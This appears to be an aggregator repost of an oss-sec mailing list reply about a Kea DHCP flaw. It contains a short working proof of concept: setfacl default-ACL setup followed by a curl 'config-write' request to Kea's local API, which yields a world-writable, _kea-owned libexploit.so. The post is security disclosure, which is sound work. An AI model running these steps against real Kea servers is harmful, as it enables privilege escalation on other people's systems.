none
文章讨论了Kea服务中的漏洞利用方式,攻击者可通过构造特定请求在受限环境中创建受控文件,并结合默认ACL设置权限,最终实现对受限环境的操控。 2025-5-28 18:29:0 Author: seclists.org(查看原文) 阅读量:7 收藏

oss-sec logo

oss-sec mailing list archives


From: Jakub Wilk <jwilk () jwilk net>
Date: Wed, 28 May 2025 20:23:25 +0200

* Matthias Gerstner <mgerstner () suse de>, 2025-05-28 19:21:
By leveraging issue 3.2), the Kea services can be instructed to create `_kea` owned files in the attacker's `$HOME/.Private`. The content of the created files is not fully attacker controlled, however, so it will not be possible to craft a valid ELF object for loading via `dlopen()` this way. By placing a setgid-directory in `$HOME/.Private/evil-dir`, any files created in this directory will even have the group-ownership of the attacker. The file mode will be 0644, however,

Default ACLs to the rescue!

$ chmod a+x ~
$ mkdir -m 777 ~/.Private
$ setfacl -d -m u:$LOGNAME:rwx ~/.Private/
$ curl -s -H "Content-Type: application/json" -d '{ "command": "config-write", "arguments": { "filename": 
"'"$HOME"'/.Private/libexploit.so" } }' localhost:8000 > /dev/null
$ echo pwned > ~/.Private/libexploit.so
$ ls -l ~/.Private/libexploit.so
-rw-rw-rw-+ 1 _kea _kea 6 May 28 18:15 /home/jwilk/.Private/libexploit.so
$ cat ~/.Private/libexploit.so
pwned

--
Jakub Wilk


Current thread:


文章来源: https://seclists.org/oss-sec/2025/q2/180
如有侵权请联系:admin#unsafe.sh